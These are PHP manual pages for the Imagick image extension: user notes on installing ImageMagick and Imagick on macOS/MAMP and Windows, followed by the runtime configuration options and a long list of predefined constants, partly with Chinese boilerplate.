1.  "cd ImageMagick-6.5.7" - go where you placed the folder

2.  "./configure"

3.  "make"

If ImageMagick configured and compiled without complaint, you are
 ready to install it on your system. Administrator privileges are
 required to install. To install, type the following command in terminal:

1.  "sudo make install"

To check your ImageMagick installation enter the following command
 in terminal:

1. "make check"

Remember all commands are entered into terminal in the directory in
 which you unzipped your downloaded ImageMagick tar file. (the latest
 version of which at this time of writing is ImageMagick-6.5.7.)

Next we need to install Imagick.so which is what we want for PHP.

First of all we need to get the right file and we can get that from here:

pecl.php.net/package/imagick/download

At current writing the latest stable version is imagick-2.3.0.

Unpack the tar file and then enter the commands in quotes in terminal:

1.  "cd imagick-2.2.3" - go where you placed the folder

2.   "phpize"

3.   "./configure --with-imagick=/opt/local"

4.   "make"

5.    "make install"

If you look at the bottom of the output, it will tell you where it has
placed the imagick.so module. For me it was placed in:

/imagick-2.3.0/modules

which is where i had unpacked the downloaded imagick-2.3.0 file.

Then copy it into your MAMP PHP extensions folder.

For me it was:
/Applications/MAMP/bin/php5/lib/php/extensions/no-debug-non-zts
-20050922/

Then, for PHP to honor the the extension, add the following line to the
 extensions section of your php.ini file:

extension=imagick.so

You should now have a working imagick extension with all of the
 resources for php found here:
php.net/manual/en/book.imagick.php

I will not claim credit for anyone for whom this works, that goes to:

Imagemagick who posted instructions here:
www.imagemagick.org/script/install-source.php

and Wallance who posted his experience here:
www.daniweb.com/forums/thread194181.html#

I really hope this helps others because developing this stuff is
frustrating enough without spending hours or even days just trying to set
 up the development environment so you can use the tools.
elia weiss 12-Sep-2009 12:33
if you get the following error on windows (vista):
'The application has failed to start because its side-by-side
configuration is incorrect. Please see the application event log
 for more detail.'

then install:
Visual C++ 2008 Redistributable Package (x86)
from:
http://www.microsoft.com/downloads
/details.aspx?familyid=A5C84275-3B97-4AB7-A40D-3802B2AF5FC2

see:
http://www.imagemagick.org/script/binary-releases.php#windows
for more info (scroll to the end of the page)
Ultimater at gmail dot com 28-Jul-2009 07:41
Installing Imagick on Windows isn't too hard.  I followed the guide at http://valokuva.org/?page_id=50 and managed to install it without too much sweat.

1. Visit http://imagemagick.org/script/binary-releases.php#windows and download "ImageMagick-6.5.4-6-Q16-windows-dll.exe"

2. Pick a version at http://valokuva.org/outside-blog-content/imagick-windows-builds/ The directories are in YYMMDD format. The latest version that worked for me was 2008-Jul-09 so download 080709/php_imagick_dyn-Q16.dll respectively.

3. Rename php_imagick_dyn-Q16.dll to "php_imagick.dll" and move it to php/ext

4. open php.ini, and make sure
extension=php_imagick.dll
appears in the file and uncommented then resave.
Note: phpinfo() will tell you the location of the loaded php.ini file.

5. Re-start your webserver.

That's it, a simple test will tell you if your installation was successful.
<?php
$im = new Imagick();
$im->newPseudoImage(100, 100, "magick:rose");
$im->setImageFormat("png");
$im->roundCorners(5,3);
$type=$im->getFormat();
header("Content-type: $type");
echo $im->getimageblob();
?>
Anonymous 28-Apr-2009 12:54
Installation of Imagick on Windows:
-------------------------------------------

Here an important hint for all who want to use Imagick:

First of all: Forget this PECL.
It is for Linux only.

In the old discussion boards I read that some years ago there was a DLL for PHP available on the FTP server of imagemagick.org. Once upon a time there has also been a CHM installation help file on FTP which also has been removed. The only thing you find today on the FTP server is a ridiculous text file:
ftp://ftp.imagemagick.org/pub/ImageMagick/php/windows/README.txt
This file contains 3 links:
2 links of them are dead meanwhile.
The only working one is this:
www.dirk.sh/dirk/magickwand
a page of a chinese guy who offers a MagickWand.dll for PHP of 4 MB size (Q8, static compiled)
But he discontinoued support since 2007.
There is no installation manual available.

He only writes:
"Please ref watson's post about how to install on Windows:
redux.imagemagick.org/discourse-server/viewtopic.php?t=4708"

This page which uses stupid style sheet settings like "font-size:11%" which make parts of the text unreadable also was no help.

At the end all manuals say the same:
Copy the DLL into the "ext" folder and add the entry to the php.ini:
extension=dllname
restart the Apache and you are done.

But this is not true: it simply does NOT work on Xampp.
In a DOS box entering
PHP.exe -i > Info.txt
prints all installed modules.
You also find:

"magickwand
MagickWand Backend Library => ImageMagick
MagickWand Extension Version => 1.0.5
ImageMagick support => enabled
ImageMagick version => ImageMagick 6.3.5 09/21/07 Q8 www.imagemagick.org
ImageMagick QuantumRange (MaxRGB) => 255
MagickWand supported image formats => A, ART, AVI, AVS, B, BIE, BMP, BMP2, BMP3, etc.."

But after executing phpinfo() MagickWand does NOT appear under the installed extensions. Strange!!
And the Wand commands do NOT function like:
$resource = NewMagickWand();

I also found a php_imagick.dll of 65 kB size in the internet which also does not work. It does not even appear in
PHP -i.

There is no error in the Apache logfile!

I read all I could find in the internet and wasted 2 entire days, without success, now I'm sick of Imagick and I absolutely cannot understand why the guys of imagemagick.org don't offer a ready compiled dll with an installation manual anymore?

In general the Imagick page seems not very trustworthy:
On the download page they do never explain what is the difference between the several versions. What doess static mean?
They never explain. (Static means that the convert.exe does not depend on so many dlls. It only requires one external DLL, for that it has a size of 5 MB instead of 200 kb)
And the explanation about the difference between Q8 and Q16 version is wrong: Q8 does NOT mean 8 Bits per pixel as the download page says. It means 8 Bit per color = 24 Bit per Pixel)

And I found an ugly misdesign:
If you install the Q8 version on your local PC and want to copy the files from your harddisk to the server, then convert.exe will crash!
Convert.exe depends on a Registry Entry. And if this is missing (on a server where you have not full access) it will crash. The strangest thing is that this registry key can contain any nonsense, it only must exist! How stupid!

So if you want to execute as an alternative the commandline tools like convert.exe from your PHP code you must add this Registry entries to the server:
HKEY_LOCAL_MACHINE\SOFTWARE\ImageMagick\6.5.1\Q:8\ConfigurePath
The value can be anything.

But with the commandline tools you cannot obtain the width and height of an image in your PHP code. This is not possible.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Imagick configuration options
名字 | 默认 | 可修改范围 | 更新日志
imagick.locale_fix | false | PHP_INI_ALL | Available since Imagick 2.1.0
imagick.progress_monitor | false | PHP_INI_SYSTEM | Available since Imagick 2.2.2
imagick.skip_version_check | false | PHP_INI_SYSTEM | Available since Imagick 3.3.0
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

imagick.locale_fix bool

Fixes a drawing bug with locales that use ',' as float separators.

imagick.progress_monitor bool

Used to enable the image progress monitor.

imagick.skip_version_check bool

When Imagick is loaded, it checks the version number of ImageMagick that it was compiled against, with the version number that is currently being used and will give a warning if they don't match. This warning can be suppressed by enabling this ini setting.

Using a version of Imagick that was compiled against a different version of ImageMagick than the one being used is not recommended. Although it may appear to work, it can lead to random crashes or other undefined behaviour.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

COLOR_* constants

Colortype constants. These constants are mainly used with ImagickPixel.

imagick::COLOR_BLACK (int)
Black color
imagick::COLOR_BLUE (int)
Blue color
imagick::COLOR_CYAN (int)
Cyan color
imagick::COLOR_GREEN (int)
Green color
imagick::COLOR_RED (int)
Red color
imagick::COLOR_YELLOW (int)
Yellow color
imagick::COLOR_MAGENTA (int)
Magenta color
imagick::COLOR_OPACITY (int)
Color's opacity
imagick::COLOR_ALPHA (int)
Color's alpha
imagick::COLOR_FUZZ (int)
Color's fuzz
DISPOSE constants

Dispose type constants

imagick::DISPOSE_UNRECOGNIZED (int)
Unrecognized dispose type
imagick::DISPOSE_UNDEFINED (int)
Undefined dispose type
imagick::DISPOSE_NONE (int)
No dispose type defined
imagick::DISPOSE_BACKGROUND (int)
Dispose background
imagick::DISPOSE_PREVIOUS (int)
Dispose previous
Composite Operator Constants
imagick::COMPOSITE_DEFAULT (int)
The default composite operator
imagick::COMPOSITE_UNDEFINED (int)
Undefined composite operator
imagick::COMPOSITE_NO (int)
No composite operator defined
imagick::COMPOSITE_ADD (int)
The result of image + image
imagick::COMPOSITE_ATOP (int)
The result is the same shape as image, with composite image obscuring image where the image shapes overlap
imagick::COMPOSITE_BLEND (int)
Blends the image
imagick::COMPOSITE_BUMPMAP (int)
The same as COMPOSITE_MULTIPLY, except the source is converted to grayscale first.
imagick::COMPOSITE_CLEAR (int)
Makes the target image transparent
imagick::COMPOSITE_COLORBURN (int)
Darkens the destination image to reflect the source image
imagick::COMPOSITE_COLORDODGE (int)
Brightens the destination image to reflect the source image
imagick::COMPOSITE_COLORIZE (int)
Colorizes the target image using the composite image
imagick::COMPOSITE_COPYBLACK (int)
Copies black from the source to target
imagick::COMPOSITE_COPYBLUE (int)
Copies blue from the source to target
imagick::COMPOSITE_COPY (int)
Copies the source image on the target image
imagick::COMPOSITE_COPYCYAN (int)
Copies cyan from the source to target
imagick::COMPOSITE_COPYGREEN (int)
Copies green from the source to target
imagick::COMPOSITE_COPYMAGENTA (int)
Copies magenta from the source to target
imagick::COMPOSITE_COPYOPACITY (int)
Copies opacity from the source to target
imagick::COMPOSITE_COPYRED (int)
Copies red from the source to target
imagick::COMPOSITE_COPYYELLOW (int)
Copies yellow from the source to target
imagick::COMPOSITE_DARKEN (int)
Darkens the target image
imagick::COMPOSITE_DSTATOP (int)
The part of the destination lying inside of the source is composited over the source and replaces the destination
imagick::COMPOSITE_DST (int)
The target is left untouched
imagick::COMPOSITE_DSTIN (int)
The parts inside the source replace the target
imagick::COMPOSITE_DSTOUT (int)
The parts outside the source replace the target
imagick::COMPOSITE_DSTOVER (int)
Target replaces the source
imagick::COMPOSITE_DIFFERENCE (int)
Subtracts the darker of the two constituent colors from the lighter
imagick::COMPOSITE_DISPLACE (int)
Shifts target image pixels as defined by the source
imagick::COMPOSITE_DISSOLVE (int)
Dissolves the source in to the target
imagick::COMPOSITE_EXCLUSION (int)
Produces an effect similar to that of imagick::COMPOSITE_DIFFERENCE, but appears as lower contrast
imagick::COMPOSITE_HARDLIGHT (int)
Multiplies or screens the colors, dependent on the source color value
imagick::COMPOSITE_HUE (int)
Modifies the hue of the target as defined by source
imagick::COMPOSITE_IN (int)
Composites source into the target
imagick::COMPOSITE_LIGHTEN (int)
Lightens the target as defined by source
imagick::COMPOSITE_LUMINIZE (int)
Luminizes the target as defined by source
imagick::COMPOSITE_MINUS (int)
Subtracts the source from the target
imagick::COMPOSITE_MODULATE (int)
Modulates the target brightness, saturation and hue as defined by source
imagick::COMPOSITE_MULTIPLY (int)
Multiplies the target to the source
imagick::COMPOSITE_OUT (int)
Composites outer parts of the source on the target
imagick::COMPOSITE_OVER (int)
Composites source over the target
imagick::COMPOSITE_OVERLAY (int)
Overlays the source on the target
imagick::COMPOSITE_PLUS (int)
Adds the source to the target
imagick::COMPOSITE_REPLACE (int)
Replaces the target with the source
imagick::COMPOSITE_SATURATE (int)
Saturates the target as defined by the source
imagick::COMPOSITE_SCREEN (int)
The source and destination are complemented and then multiplied and then replace the destination
imagick::COMPOSITE_SOFTLIGHT (int)
Darkens or lightens the colors, dependent on the source
imagick::COMPOSITE_SRCATOP (int)
The part of the source lying inside of the destination is composited onto the destination
imagick::COMPOSITE_SRC (int)
The source is copied to the destination
imagick::COMPOSITE_SRCIN (int)
The part of the source lying inside of the destination replaces the destination
imagick::COMPOSITE_SRCOUT (int)
The part of the source lying outside of the destination replaces the destination
imagick::COMPOSITE_SRCOVER (int)
The source replaces the destination
imagick::COMPOSITE_SUBTRACT (int)
Subtract the colors in the source image from the destination image
imagick::COMPOSITE_THRESHOLD (int)
The source is composited on the target as defined by source threshold
imagick::COMPOSITE_XOR (int)
The part of the source that lies outside of the destination is combined with the part of the destination that lies outside of the source
MONTAGEMODE constants

imagick::MONTAGEMODE_FRAME (int)
imagick::MONTAGEMODE_UNFRAME (int)
imagick::MONTAGEMODE_CONCATENATE (int)
STYLE constants

imagick::STYLE_NORMAL (int)
imagick::STYLE_ITALIC (int)
imagick::STYLE_OBLIQUE (int)
imagick::STYLE_ANY (int)
FILTER constants

imagick::FILTER_UNDEFINED (int)
imagick::FILTER_POINT (int)
imagick::FILTER_BOX (int)
imagick::FILTER_TRIANGLE (int)
imagick::FILTER_HERMITE (int)
imagick::FILTER_HANNING (int)
imagick::FILTER_HAMMING (int)
imagick::FILTER_BLACKMAN (int)
imagick::FILTER_GAUSSIAN (int)
imagick::FILTER_QUADRATIC (int)
imagick::FILTER_CUBIC (int)
imagick::FILTER_CATROM (int)
imagick::FILTER_MITCHELL (int)
imagick::FILTER_LANCZOS (int)
imagick::FILTER_BESSEL (int)
imagick::FILTER_SINC (int)
IMGTYPE constants

imagick::IMGTYPE_UNDEFINED (int)
imagick::IMGTYPE_BILEVEL (int)
imagick::IMGTYPE_GRAYSCALE (int)
imagick::IMGTYPE_GRAYSCALEMATTE (int)
imagick::IMGTYPE_PALETTE (int)
imagick::IMGTYPE_PALETTEMATTE (int)
imagick::IMGTYPE_TRUECOLOR (int)
imagick::IMGTYPE_TRUECOLORMATTE (int)
imagick::IMGTYPE_COLORSEPARATION (int)
imagick::IMGTYPE_COLORSEPARATIONMATTE (int)
imagick::IMGTYPE_OPTIMIZE (int)
RESOLUTION constants

imagick::RESOLUTION_UNDEFINED (int)
imagick::RESOLUTION_PIXELSPERINCH (int)
imagick::RESOLUTION_PIXELSPERCENTIMETER (int)
COMPRESSION constants

imagick::COMPRESSION_UNDEFINED (int)
imagick::COMPRESSION_NO (int)
imagick::COMPRESSION_BZIP (int)
imagick::COMPRESSION_FAX (int)
imagick::COMPRESSION_GROUP4 (int)
imagick::COMPRESSION_JPEG (int)
imagick::COMPRESSION_JPEG2000 (int)
imagick::COMPRESSION_LOSSLESSJPEG (int)
imagick::COMPRESSION_LZW (int)
imagick::COMPRESSION_RLE (int)
imagick::COMPRESSION_ZIP (int)
imagick::COMPRESSION_DXT1 (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.0 or higher.
imagick::COMPRESSION_DXT3 (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.0 or higher.
imagick::COMPRESSION_DXT5 (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.0 or higher.
PAINT constants

imagick::PAINT_POINT (int)
imagick::PAINT_REPLACE (int)
imagick::PAINT_FLOODFILL (int)
imagick::PAINT_FILLTOBORDER (int)
imagick::PAINT_RESET (int)
GRAVITY constants

imagick::GRAVITY_NORTHWEST (int)
imagick::GRAVITY_NORTH (int)
imagick::GRAVITY_NORTHEAST (int)
imagick::GRAVITY_WEST (int)
imagick::GRAVITY_CENTER (int)
imagick::GRAVITY_EAST (int)
imagick::GRAVITY_SOUTHWEST (int)
imagick::GRAVITY_SOUTH (int)
imagick::GRAVITY_SOUTHEAST (int)
STRETCH constants

imagick::STRETCH_NORMAL (int)
imagick::STRETCH_ULTRACONDENSED (int)
imagick::STRETCH_CONDENSED (int)
imagick::STRETCH_SEMICONDENSED (int)
imagick::STRETCH_SEMIEXPANDED (int)
imagick::STRETCH_EXPANDED (int)
imagick::STRETCH_EXTRAEXPANDED (int)
imagick::STRETCH_ULTRAEXPANDED (int)
imagick::STRETCH_ANY (int)
ALIGN constants

imagick::ALIGN_UNDEFINED (int)
imagick::ALIGN_LEFT (int)
imagick::ALIGN_CENTER (int)
imagick::ALIGN_RIGHT (int)
DECORATION constants

imagick::DECORATION_NO (int)
imagick::DECORATION_UNDERLINE (int)
imagick::DECORATION_OVERLINE (int)
imagick::DECORATION_LINETROUGH (int)
NOISE constants

imagick::NOISE_UNIFORM (int)
imagick::NOISE_GAUSSIAN (int)
imagick::NOISE_MULTIPLICATIVEGAUSSIAN (int)
imagick::NOISE_IMPULSE (int)
imagick::NOISE_LAPLACIAN (int)
imagick::NOISE_POISSON (int)
imagick::NOISE_RANDOM (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.6 or higher.
CHANNEL constants

imagick::CHANNEL_UNDEFINED (int)
imagick::CHANNEL_RED (int)
imagick::CHANNEL_GRAY (int)
imagick::CHANNEL_CYAN (int)
imagick::CHANNEL_GREEN (int)
imagick::CHANNEL_MAGENTA (int)
imagick::CHANNEL_BLUE (int)
imagick::CHANNEL_YELLOW (int)
imagick::CHANNEL_ALPHA (int)
imagick::CHANNEL_OPACITY (int)
imagick::CHANNEL_MATTE (int)
imagick::CHANNEL_BLACK (int)
imagick::CHANNEL_INDEX (int)
imagick::CHANNEL_ALL (int)
imagick::CHANNEL_DEFAULT (int)
METRIC constants

imagick::METRIC_UNDEFINED (int)
imagick::METRIC_MEANABSOLUTEERROR (int)
imagick::METRIC_MEANSQUAREERROR (int)
imagick::METRIC_PEAKABSOLUTEERROR (int)
imagick::METRIC_PEAKSIGNALTONOISERATIO (int)
imagick::METRIC_ROOTMEANSQUAREDERROR (int)
PIXEL constants

imagick::PIXEL_CHAR (int)
imagick::PIXEL_DOUBLE (int)
imagick::PIXEL_FLOAT (int)
imagick::PIXEL_INTEGER (int)
Only available for ImageMagick < 7.
imagick::PIXEL_LONG (int)
imagick::PIXEL_QUANTUM (int)
imagick::PIXEL_SHORT (int)
EVALUATE constants

imagick::EVALUATE_UNDEFINED (int)
imagick::EVALUATE_ADD (int)
imagick::EVALUATE_AND (int)
imagick::EVALUATE_DIVIDE (int)
imagick::EVALUATE_LEFTSHIFT (int)
imagick::EVALUATE_MAX (int)
imagick::EVALUATE_MIN (int)
imagick::EVALUATE_MULTIPLY (int)
imagick::EVALUATE_OR (int)
imagick::EVALUATE_RIGHTSHIFT (int)
imagick::EVALUATE_SET (int)
imagick::EVALUATE_SUBTRACT (int)
imagick::EVALUATE_XOR (int)
imagick::EVALUATE_POW (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.4 or higher.
imagick::EVALUATE_LOG (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.4 or higher.
imagick::EVALUATE_THRESHOLD (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.4 or higher.
imagick::EVALUATE_THRESHOLDBLACK (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.4 or higher.
imagick::EVALUATE_THRESHOLDWHITE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.4 or higher.
imagick::EVALUATE_GAUSSIANNOISE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.4 or higher.
imagick::EVALUATE_IMPULSENOISE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.4 or higher.
imagick::EVALUATE_LAPLACIANNOISE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.4 or higher.
imagick::EVALUATE_MULTIPLICATIVENOISE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.4 or higher.
imagick::EVALUATE_POISSONNOISE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.4 or higher.
imagick::EVALUATE_UNIFORMNOISE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.4 or higher.
imagick::EVALUATE_COSINE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.4 or higher.
imagick::EVALUATE_SINE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.4 or higher.
imagick::EVALUATE_ADDMODULUS (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.4 or higher.
COLORSPACE constants

imagick::COLORSPACE_UNDEFINED (int)
imagick::COLORSPACE_RGB (int)
imagick::COLORSPACE_GRAY (int)
imagick::COLORSPACE_TRANSPARENT (int)
imagick::COLORSPACE_OHTA (int)
imagick::COLORSPACE_LAB (int)
imagick::COLORSPACE_XYZ (int)
imagick::COLORSPACE_YCBCR (int)
imagick::COLORSPACE_YCC (int)
imagick::COLORSPACE_YIQ (int)
imagick::COLORSPACE_YPBPR (int)
imagick::COLORSPACE_YUV (int)
imagick::COLORSPACE_CMYK (int)
imagick::COLORSPACE_SRGB (int)
imagick::COLORSPACE_HSB (int)
imagick::COLORSPACE_HSL (int)
imagick::COLORSPACE_HWB (int)
imagick::COLORSPACE_REC601LUMA (int)
imagick::COLORSPACE_REC709LUMA (int)
imagick::COLORSPACE_LOG (int)
imagick::COLORSPACE_CMY (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.2 or higher.
VIRTUALPIXELMETHOD constants

imagick::VIRTUALPIXELMETHOD_UNDEFINED (int)
imagick::VIRTUALPIXELMETHOD_BACKGROUND (int)
imagick::VIRTUALPIXELMETHOD_CONSTANT (int)
imagick::VIRTUALPIXELMETHOD_EDGE (int)
imagick::VIRTUALPIXELMETHOD_MIRROR (int)
imagick::VIRTUALPIXELMETHOD_TILE (int)
imagick::VIRTUALPIXELMETHOD_TRANSPARENT (int)
imagick::VIRTUALPIXELMETHOD_MASK (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.2 or higher.
imagick::VIRTUALPIXELMETHOD_BLACK (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.2 or higher.
imagick::VIRTUALPIXELMETHOD_GRAY (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.2 or higher.
imagick::VIRTUALPIXELMETHOD_WHITE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.2 or higher.
imagick::VIRTUALPIXELMETHOD_HORIZONTALTILE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.3 or higher.
imagick::VIRTUALPIXELMETHOD_VERTICALTILE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.3 or higher.
PREVIEW constants

imagick::PREVIEW_UNDEFINED (int)
imagick::PREVIEW_ROTATE (int)
imagick::PREVIEW_SHEAR (int)
imagick::PREVIEW_ROLL (int)
imagick::PREVIEW_HUE (int)
imagick::PREVIEW_SATURATION (int)
imagick::PREVIEW_BRIGHTNESS (int)
imagick::PREVIEW_GAMMA (int)
imagick::PREVIEW_SPIFF (int)
imagick::PREVIEW_DULL (int)
imagick::PREVIEW_GRAYSCALE (int)
imagick::PREVIEW_QUANTIZE (int)
imagick::PREVIEW_DESPECKLE (int)
imagick::PREVIEW_REDUCENOISE (int)
imagick::PREVIEW_ADDNOISE (int)
imagick::PREVIEW_SHARPEN (int)
imagick::PREVIEW_BLUR (int)
imagick::PREVIEW_THRESHOLD (int)
imagick::PREVIEW_EDGEDETECT (int)
imagick::PREVIEW_SPREAD (int)
imagick::PREVIEW_SOLARIZE (int)
imagick::PREVIEW_SHADE (int)
imagick::PREVIEW_RAISE (int)
imagick::PREVIEW_SEGMENT (int)
imagick::PREVIEW_SWIRL (int)
imagick::PREVIEW_IMPLODE (int)
imagick::PREVIEW_WAVE (int)
imagick::PREVIEW_OILPAINT (int)
imagick::PREVIEW_CHARCOALDRAWING (int)
imagick::PREVIEW_JPEG (int)
RENDERINGINTENT constants

imagick::RENDERINGINTENT_UNDEFINED (int)
imagick::RENDERINGINTENT_SATURATION (int)
imagick::RENDERINGINTENT_PERCEPTUAL (int)
imagick::RENDERINGINTENT_ABSOLUTE (int)
imagick::RENDERINGINTENT_RELATIVE (int)
INTERLACE constants

imagick::INTERLACE_UNDEFINED (int)
imagick::INTERLACE_NO (int)
imagick::INTERLACE_LINE (int)
imagick::INTERLACE_PLANE (int)
imagick::INTERLACE_PARTITION (int)
imagick::INTERLACE_GIF (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.4 or higher.
imagick::INTERLACE_JPEG (int)
imagick::INTERLACE_PNG (int)
FILLRULE constants

imagick::FILLRULE_UNDEFINED (int)
imagick::FILLRULE_EVENODD (int)
imagick::FILLRULE_NONZERO (int)
PATHUNITS constants

imagick::PATHUNITS_UNDEFINED (int)
imagick::PATHUNITS_USERSPACE (int)
imagick::PATHUNITS_USERSPACEONUSE (int)
imagick::PATHUNITS_OBJECTBOUNDINGBOX (int)
LINECAP constants

imagick::LINECAP_UNDEFINED (int)
imagick::LINECAP_BUTT (int)
imagick::LINECAP_ROUND (int)
imagick::LINECAP_SQUARE (int)
LINEJOIN constants

imagick::LINEJOIN_UNDEFINED (int)
imagick::LINEJOIN_MITER (int)
imagick::LINEJOIN_ROUND (int)
imagick::LINEJOIN_BEVEL (int)
RESOURCETYPE constants

imagick::RESOURCETYPE_UNDEFINED (int)
imagick::RESOURCETYPE_AREA (int)
Set the maximum width * height of an image that can reside in the pixel cache memory.
imagick::RESOURCETYPE_DISK (int)
Set maximum amount of disk space in bytes permitted for use by the pixel cache.
imagick::RESOURCETYPE_FILE (int)
Set maximum number of open pixel cache files.
imagick::RESOURCETYPE_MAP (int)
Set maximum amount of memory map in bytes to allocate for the pixel cache.
imagick::RESOURCETYPE_MEMORY (int)
Set maximum amount of memory in bytes to allocate for the pixel cache from the heap.
imagick::RESOURCETYPE_THREAD (int)
Set maximum parallel threads. 此常量可用仅当Imagick编译于ImageMagick版本 6.7.8 or higher.
LAYERMETHOD constants

imagick::LAYERMETHOD_UNDEFINED (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.2.9 or higher.
imagick::LAYERMETHOD_COALESCE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.2.9 or higher.
imagick::LAYERMETHOD_COMPAREANY (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.2.9 or higher.
imagick::LAYERMETHOD_COMPARECLEAR (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.2.9 or higher.
imagick::LAYERMETHOD_COMPAREOVERLAY (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.2.9 or higher.
imagick::LAYERMETHOD_DISPOSE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.2.9 or higher.
imagick::LAYERMETHOD_OPTIMIZE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.2.9 or higher.
imagick::LAYERMETHOD_OPTIMIZEPLUS (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.2.9 or higher.
imagick::LAYERMETHOD_OPTIMIZEIMAGE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.0 or higher.
imagick::LAYERMETHOD_OPTIMIZETRANS (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.0 or higher.
imagick::LAYERMETHOD_REMOVEDUPS (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.0 or higher.
imagick::LAYERMETHOD_REMOVEZERO (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.0 or higher.
imagick::LAYERMETHOD_COMPOSITE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.0 or higher.
imagick::LAYERMETHOD_MERGE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.7 or higher.
imagick::LAYERMETHOD_FLATTEN (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.7 or higher.
imagick::LAYERMETHOD_MOSAIC (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.7 or higher.
ORIENTATION constants

imagick::ORIENTATION_UNDEFINED (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.0 or higher.
imagick::ORIENTATION_TOPLEFT (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.0 or higher.
imagick::ORIENTATION_TOPRIGHT (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.0 or higher.
imagick::ORIENTATION_BOTTOMRIGHT (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.0 or higher.
imagick::ORIENTATION_BOTTOMLEFT (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.0 or higher.
imagick::ORIENTATION_LEFTTOP (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.0 or higher.
imagick::ORIENTATION_RIGHTTOP (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.0 or higher.
imagick::ORIENTATION_RIGHTBOTTOM (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.0 or higher.
imagick::ORIENTATION_LEFTBOTTOM (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.0 or higher.
DISTORTION constants

imagick::DISTORTION_UNDEFINED (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.6 or higher.
imagick::DISTORTION_AFFINE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.6 or higher.
imagick::DISTORTION_AFFINEPROJECTION (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.6 or higher.
imagick::DISTORTION_ARC (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.6 or higher.
imagick::DISTORTION_BILINEAR (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.6 or higher.
imagick::DISTORTION_PERSPECTIVE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.6 or higher.
imagick::DISTORTION_PERSPECTIVEPROJECTION (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.6 or higher.
imagick::DISTORTION_SCALEROTATETRANSLATE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.6 or higher.
imagick::DISTORTION_POLYNOMIAL (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::DISTORTION_POLAR (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::DISTORTION_DEPOLAR (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::DISTORTION_BARREL (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::DISTORTION_BARRELINVERSE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::DISTORTION_SHEPARDS (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
imagick::DISTORTION_SENTINEL (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.4.6 or higher.
ALPHACHANNEL constants

imagick::ALPHACHANNEL_ACTIVATE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.8 or higher.
imagick::ALPHACHANNEL_DEACTIVATE (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.8 or higher.
imagick::ALPHACHANNEL_RESET (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.8 or higher.
imagick::ALPHACHANNEL_SET (int)
此常量可用仅当Imagick编译于ImageMagick版本 6.3.8 or higher.
imagick::ALPHACHANNEL_UNDEFINED (int)
